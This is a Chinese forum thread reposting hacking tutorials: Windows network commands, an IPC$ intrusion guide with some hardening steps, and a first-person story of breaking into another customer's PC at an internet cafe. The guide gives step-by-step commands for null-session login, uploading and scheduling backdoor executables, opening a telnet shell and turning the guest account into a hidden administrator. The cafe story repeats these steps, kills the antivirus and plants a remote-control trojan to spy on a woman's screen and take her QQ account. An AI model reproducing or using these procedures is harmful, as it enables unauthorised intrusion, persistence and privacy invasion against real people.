copy con killshare.bat
net share c$ /del
net share d$ /del
net share e$ /del
net share admin$ /del
net share ipc$ /del (如果删除了这个共享,则局域网无法互相访问,请注意!)

以下是原文:-----------------------------------------------------------

一、ping命令

在Windows的控制窗口中(Windows 95/98/ME的command解释器、Windows NT/2000的cmd解释器),运行ping可以看到这个命令的说明,它是一个探测本地电脑和远程电脑之间信息传送速度的命令,这个命令需要TCP/IP协议的支持,ping将会计算一条信息从本地发送到远程再返回所需要的时间,黑客使用这个命令决定是否对服务器进行攻击,因为连接速度过慢会浪费时间、花费过多的上网费用。
另外这个命令还可以透过域名找到对方服务器的IP地址,我们知道域名只是提供给浏览网页用的,当我们看到一个不错的域名地址后,要想通过telnet连接它,就必须知道对方的IP地址,这里也要使用ping命令的。
这个命令的基本使用格式可以通过直接运行ping获得,现在假设目标是http://www.abc.com/,则可以在控制台下输入ping www.abc.com,经过等待会得到如下信息:
Pinging www.abc.com [204.202.136.32] with 32 bytes of data:
Reply from 204.202.136.32: bytes=32 time=302ms TTL=240
Reply from 204.202.136.32: bytes=32 time=357ms TTL=240
Reply from 204.202.136.32: bytes=32 time=288ms TTL=240
Reply from 204.202.136.32: bytes=32 time=274ms TTL=240
Ping statistics for 204.202.136.32:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 274ms, Maximum = 357ms, Average = 305ms
注意它的返回值来判断对方OS
这些信息的意思是:www.abc.com的IP地址是204.202.136.32,对他发送了四次数据包,数据包的大小是32字节,每一次返回的时间分别是302ms、357ms、288ms、274ms。综合看,发送了四个数据包全部返回,最小时间是274ms,最大时间357ms,他们的平均时间是305ms。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

10楼

这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法,例如可以通过IP地址反查服务器的NetBIOS名,现在以211.100.8.87为例,使用ping配合“-a”,在控制台下输入命令ping -a 211.100.8.87,它的返回结果是:
Pinging POPNET-FBZ9JDFV [211.100.8.87] with 32 bytes of data:
Reply from 211.100.8.87: bytes=32 time=96ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
Reply from 211.100.8.87: bytes=32 time=109ms TTL=120
Ping statistics for 211.100.8.87:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 96ms, Maximum = 110ms, Average = 106ms
从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,例如上面的www.abc.com返回的TTL是240,对方的系统很可能是Linux,而第二个目标的TTL是120,那么说明它使用的系统也许是Windows。
另外ping还有很多灵活的应用,我不在这里过多的介绍,读者请另行查阅此命令相关帮助文件。

二、net命令:

NET命令是很多网络命令的集合,在Windows ME/NT/2000内,很多网络功能都是以net命令为开始的,通过net help可以看到这些命令的详细介绍:
NET CONFIG 显示系统网络设置
NET DIAG 运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
NET HELP 显示帮助信息
NET INIT 不通过绑定来加载协议或网卡驱动
NET LOGOFF 断开连接的共享资源
NET LOGON 在WORKGROUP中登陆
NET PASSWORD 改变系统登陆密码
NET PRINT 显示或控制打印作业及打印队列
NET START 启动服务,或显示已启动服务的列表
NET STOP 停止网络服务
NET TIME 使计算机的时钟与另一台计算机或域的时间同步
NET USE 连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息
NET VER 显示局域网内正在使用的网络连接类型和信息
NET VIEW 显示域列表、计算机列表或指定计算机的共享资源列表
这些命令在Win95/98中支持的比较少,只有几个基本常见的,而在NT或者2000中又元元多于上面的介绍,不过大多数对于初学者也没有必要掌握,所以我选择了WindowsME进行介绍,其中最常用到的是NET VIEW和NET USE,通过者两个命令,学习者可以连接网络上开放了远程共享的系统,并且获得资料。这种远程共享本来是为便捷操作设计的,但是很多网络管理员忽视了它的安全性,所以造成了很多不应该共享的信息的暴露,对于学习者来说,则可以轻易获得它人电脑上的隐私资料。
例如在控制台下输入net view \\202.96.50.24则可以获得对应IP的系统共享目录,进而找到他们的共享文件,当然这需要202.96.50.24系统的确存在共享目录,具体如何找到这些存在共享的系统,我将会在后面的文章中进行介绍。

三、telnet和ftp命令:

这两个命令分别可以远程对系统进行telnet登陆和ftp登陆,两种登陆使用的不同的协议,分别属于两种不同的网络服务,ftp是远程文件共享服务,也就是说学习者可以将自己的资料上传、下载,但是它并没有过多的权利,无法在远程电脑上执行上传的文件;而telnet则属于远程登陆服务,也就是说可以登陆到远程系统上,并获得一个解释器权限,拥有解释器就意味着拥有了一定的权限,这种权限可能是基本的文件操作、也可能是可以控制系统的管理员权限。

==================================================

四、netstat命令:

这个程序有助于我们了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等。 使用netstat ?可以显示它的命令格式和参数说明:

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

11楼

netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 其中的参数说明如下:
-a 显示所有主机的端口号;
-e 显示以太网统计信息;
-n 以数字表格形式显示地址和端口;
-p proto 显示特定的协议的具体使用信息;
-r 显示本机路由表的内容;
-s 显示每个协议的使用状态(包括TCP、UDP、IP);
interval 重新显示所选的状态,每次显示之间的间隔数(单位秒)。
netstat命令的主要用途是检测本地系统开放的端口,这样做可以了解自己的系统开放了什么服务、还可以初步推断系统是否存在木马,因为常见的网络服务开放的默认端口轻易不会被木马占用,例如:用于FTP(文件传输协议)的端口是21;用于TELNET(远程登录协议)的端口是23;用于SMTP(邮件传输协议)的端口是25;用于DNS(域名服务,即域名与IP之间的转换)的端口是53;用于HTTP(超文本传输协议)的端口是80;用于POP3(电子邮件的一种接收协议)的端口是110;WINDOWS中开放的端口是139,除此以外,如果系统中还有其他陌生的到口,就可能是木马程序使用的了。通过netstat或者netstat -a可以观察开放的端口,如果发现下面的端口,就说明已经有木马程序在系统中存在:
31337号端口是BackOffice木马的默认端口;1999是Yai木马程序;2140或者3150都是DEEP THROAT木马使用的端口;还有NETBUS、冰河或者SUB7等木马程序都可以自定义端口,因此发现了陌生端口一定要提高警惕,使用防火墙或者查病毒软件进行检测。

五、tracert命令:

这个命令的功能是判定数据包到达目的主机所经过的路径、显示数据包经过的中继节点清单和到达时间。tracert命令的格式如下:
tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
命令行中的参数-d是要求tracert不对主机名进行解析,-h是指定搜索到目的地址的最大轮数,-j的功能是沿着主机列表释放源路由,-w用来设置超时时间间隔。
通过tracert可以判断一个服务器是属于国内还是国际(网络服务器的物理未知不能依*域名进行判断),根据路由路经可以判断信息从自己的系统发送到网络上,先后经过了哪些IP到大对方服务器,这就好像乘公共汽车的时候从起点出发到达终点站的时候,中途会出现很多路牌一个道理,我们清楚了自己的信息的传送路径,才能够更清晰的了解网络、对服务器进行攻击。

六、winipcfg:

winipcfg和ipconfig都是用来显示主机内IP协议的配置信息。只是winipcfg适用于Windows 95/98,而ipconfig适用于Windows NT。winipcfg不使用参数,直接运行它,它就会采用Windows窗口的形式显示具体信息。这些信息包括:网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,点击其中的“其他信息”,还可以查看主机的相关信息如:主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。
ipconfig的命令格式如下:ipconfig [/? | /all | /release [adapter] | /renew [adapter]]
其中的参数说明如下:
使用不带参数的ipconfig命令可以得到以下信息:IP地址、子网掩码、默认网关。而使用ipconfig
/? 显示ipconfig的格式和参数的英文说明;
/all 显示所有的配置信息;
/release 为指定的适配器(或全部适配器)释放IP地址(只适用于DHCP);
/renew 为指定的适配器(或全部适配器)更新IP地址(只适用于DHCP)。
/all,则可以得到更多的信息:主机名、DNS服务器、节点类型、网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等。

==================================================


ipc$入侵与防范

一 前言

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑。

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

12楼


二 什么是ipc$ 

IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 

利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 

我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$)。 

所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

解惑: 

1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。 

也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的) 

2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接 
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表 

三 建立ipc$连接在hack攻击中的作用 

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!! 

(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!) 

不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( 

因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接。

所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在。

四 ipc$与空连接,139,445端口,默认共享的关系 

以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂) 

1)ipc$与空连接: 

不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了。 

许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟)。 

2)ipc$与139,445端口: 

ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。 

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

13楼


3)ipc$与默认共享 

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享) 

五 ipc$连接失败的原因 

以下5个原因是比较常见的: 

1)你的系统不是NT或以上操作系统; 
2)对方没有打开ipc$默认共享 
3)对方未开启139或445端口(惑被防火墙屏蔽) 
4)你的命令输入有误(比如缺少了空格等) 
5)用户名或密码错误(空连接当然无所谓了) 
另外,你也可以根据返回的错误号分析原因: 
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 
错误号51,Windows 无法找到网络路径 : 网络有问题; 
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;
目标有防火墙(端口过滤); 
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;

错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 
错误号1326,未知的用户名或错误密码 : 原因很明显了; 
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就*大家自己体会和试验了。 

六如何打开目标的IPC$(此段引自相关文章) 

首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。

七如何防范ipc$入侵 

1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) 
首先运行regedit,找到如下组建

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等) 

2禁止默认共享 
1)察看本地共享资源 
运行-cmd-输入net share 
2)删除共享(每次输入一个) 
net share ipc$ /delete 
net share admin$ /delete 
net share c$ /delete 
net share d$ /delete(如果有e,f,......可以继续删除) 
3)停止server服务 
net stop server /y (重新启动后server服务会重新开启) 
4)修改注册表 
运行-regedit 
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。 
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用 
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师 
5设置复杂密码,防止通过ipc$穷举密码 

八 相关命令 

1)建立空连接: 
net use \\IP\ipc$ "" /user:""(一定要注意:这一行命令中包含了3个空格) 
2)建立非空连接: 
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格) 

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

14楼

3)映射默认共享: 
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ 
4)删除一个ipc$连接 
net use \\IP\ipc$ /del 
5)删除共享映射 
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del 删除全部,会有提示要求按y确认 

九 经典入侵模式 

这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 
2. C:\>copy srv.exe \\127.0.0.1\admin$ 
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 
3. C:\>net time \\127.0.0.1 
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。 
4. C:\>at \\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 
5. C:\>net time \\127.0.0.1 
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。 
6. C:\>telnet 127.0.0.1 99 
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 
7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 
8. C:\WINNT\system32>ntlm 
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) 
为了以防万一,我们再把guest激活加到管理组 
10. C:\>net user guest /active:yes 
将对方的Guest用户激活 
11. C:\>net user guest 1234 
将Guest的密码改为1234,或者你要设定的密码 
12. C:\>net localgroup administrators guest /add 
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机) 

十 总结: 

关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论。

================================================================


网吧入侵全攻略


好久都没来网吧了.今天一朋友来找我.外面有下着雪.实在没地方玩.又给溜进了网吧... 

在以前家里没买电脑时.整天都泡这网吧..所以对他的系统设置什么还了解点.都大半年没来了...不知道有啥变化.. 

这网吧还不错.别的网吧都是无盘的或者就是98的.这里98和2000都有..呵...搞入侵可方便了.... 

无意的看到13号坐着两MM...嘻....入侵也由此开始了.看能不能拿到MM的QQ号.....偶也找了一2000系统的机器做下..(偶找了一角落.呵.这样比较安全点..) 

打开偶可爱的CMD..先net name下看看本机情况 

WANGLU05 

  • 2006-1-11 16:34
  • 回复
  • daguang8362
  • 19位粉丝

15楼

USER2000 
命令成功完成。 
我本机名是WANGLU05.ping下看看IP有无什么规则 
Pinging wanglu05 [192.168.0.13] with 32 bytes of data: 
Reply from 192.168.0.13: bytes=32 timenet use //192.168.0.225/ipc$ "" /user:"user04" 
命令成功完成。


网吧系统盘为G盘.接着映射对方G盘为我本地Z盘. 
G:/>net use z: //192.168.0.225/g$ 
命令成功完成。 


现在我的电脑里多了一个Z盘...图3.


现在我们在这个Z盘里新建或删除文件.也就等于在192.168.0.225这个机器上操作了... 
这些相信大家都知道的吧..我就不废话了..当然这些还不是我们想要的...要进一步控制她.然后拿到QQ号.^_^........表说我坏.... 
下面来copy一个木马客户端上去先...由于只是看QQ而已...所以我找了一个 
web控制台.体积没多大,205KB..下面是关于webserver的介绍./../ 
web控制台 (本站不提供此类工具下载)
一个直接在IE栏里输入对方IP就可以控制对方机器的小软件,也就是所谓的B/S模式的控制。用起来很方便,对方运行了服务端后,你在IE栏里直接输入对方IP就可以控制了,也可以通过刷新来实现重复抓屏。 
接着 
G:/>copy webserver.exe //192.168.0.225/admin$ 
已复制 1 个文件。 
G:/>net time //192.168.0.225 
//192.168.0.225 的当前时间是 2005/2/5 下午 05:00 
命令成功完成


G:/>at //192.168.0.225 17:02 webserver.exe 
用AT命令启动webserver.exe. 
2分钟过后.在IE里输入192.168.0.225.就可以控制对方了...可是偶一会用net time查看时.都已经过了3分钟了.还是打不开....后来又重新来了一次.眼睛就盯着MM的屏幕看,才发现到了我指定的时间.程序执行时.被瑞星给杀了... 
FT....我说那. 
难道就没办法了吗...当然不是...可以换个别的马或加壳.修改它特征码什么的.但在网吧工具也不是很齐全.我也懒的下.. 
还好微软为我们提供了一个非常不错的系统工具....也算的上是一类控制软件了... 
打开控制面板--管理工具--计算机管理 
操作-连接到另一计算机. 
然后输入IP192.168.0.225 


呵.等一会就可以看到成功了...你看到了什么? 
更爽的是我们可以远程开启他的服务...在这里启动他的telnet服务. 


OK了... 
本地打开一cmd 
输入 
G:/>telnet 192.168.0.225 
回车后出现 
Server allows NTLM authentication only 
Server has closed connection 


需要NTML认证的...用小榕的那个ntml.exe就可以解决这一问题. 
ntlm.exe在《流光》的Tools目录中有的... 
没工具怎么办呢.. 
我们在本地添加一和远程主机同样的用户名 
输入 
net user user04 /add 添加user04密码为空的用户 
net localgroup administrators user04 /add 把user04加入管理员组 
然后来到G:/Winnt/system32下找到CMD.exe 
右击.创建快捷方式.然后在快捷方式 CMD右击..属性. 
在以其他用户身份运行前打勾... 


然后运行 
快捷方式 CMD 
弹出窗口.在用户名处输入user04密码为空


然后 
telnet 192.168.0.225 
回车..哈哈...拿到shell了.... 
接下来的事就好办了...去黑基down了一个knlps 命令行下杀进程的东东 
copy上去././然后telnet上去.在CMD下执行...杀掉了瑞星的进程 
这下把瑞星给关了.还怕他提示有毒 
接着执行webserver.exe 
在IE里输入 
192.168.0.225 


看到了.挖卡卡..开心...点那个查看屏幕..呵..MM正在聊天... 
好了她的QQ号码也拿到手了..加了她去聊聊去....